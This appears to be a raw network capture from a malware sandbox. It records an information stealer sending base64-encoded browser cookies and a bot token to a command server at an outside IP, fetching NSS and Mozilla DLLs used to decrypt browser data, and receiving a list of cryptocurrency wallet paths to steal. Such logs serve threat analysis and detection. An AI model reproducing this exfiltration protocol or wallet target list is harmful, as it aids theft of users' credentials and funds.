Sep 10, 2024 19:36:05.017904043 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Sep 10, 2024 19:36:05.900747061 CEST	951	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 45.152.113.10 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------KFIJEGCBGIDGHIDHDGCB--
Sep 10, 2024 19:36:06.048646927 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 10, 2024 19:36:06.130719900 CEST	563	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDG Host: 45.152.113.10 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file"------JECBGCFHCFIDHIDHDGDG--
Sep 10, 2024 19:36:06.270519972 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 10, 2024 19:36:06.545315981 CEST	563	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFH Host: 45.152.113.10 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="file"------CAAAFCAKKKFBFIDGDBFH--
Sep 10, 2024 19:36:06.683240891 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 10, 2024 19:36:07.152015924 CEST	92	OUT	GET /15a25e53742510fe/freebl3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 10, 2024 19:36:07.280878067 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 10, 2024 19:36:07.793931007 CEST	92	OUT	GET /15a25e53742510fe/mozglue.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 10, 2024 19:36:07.921889067 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 10, 2024 19:36:08.311058044 CEST	93	OUT	GET /15a25e53742510fe/msvcp140.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 10, 2024 19:36:08.439390898 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 10, 2024 19:36:08.760242939 CEST	89	OUT	GET /15a25e53742510fe/nss3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 10, 2024 19:36:08.893443108 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 10, 2024 19:36:10.370554924 CEST	93	OUT	GET /15a25e53742510fe/softokn3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 10, 2024 19:36:10.502222061 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 10, 2024 19:36:10.730467081 CEST	97	OUT	GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 10, 2024 19:36:10.872386932 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 10, 2024 19:36:11.027348995 CEST	201	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAEC Host: 45.152.113.10 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 10, 2024 19:36:11.249428034 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 10, 2024 19:36:11.272483110 CEST	467	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGCAKFHCFHJKECFIID Host: 45.152.113.10 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="message"wallets------KFBGCAKFHCFHJKECFIID--
Sep 10, 2024 19:36:11.404293060 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 10, 2024 19:36:11.406932116 CEST	465	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCBAEHJJJKKFIDGHJEC Host: 45.152.113.10 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 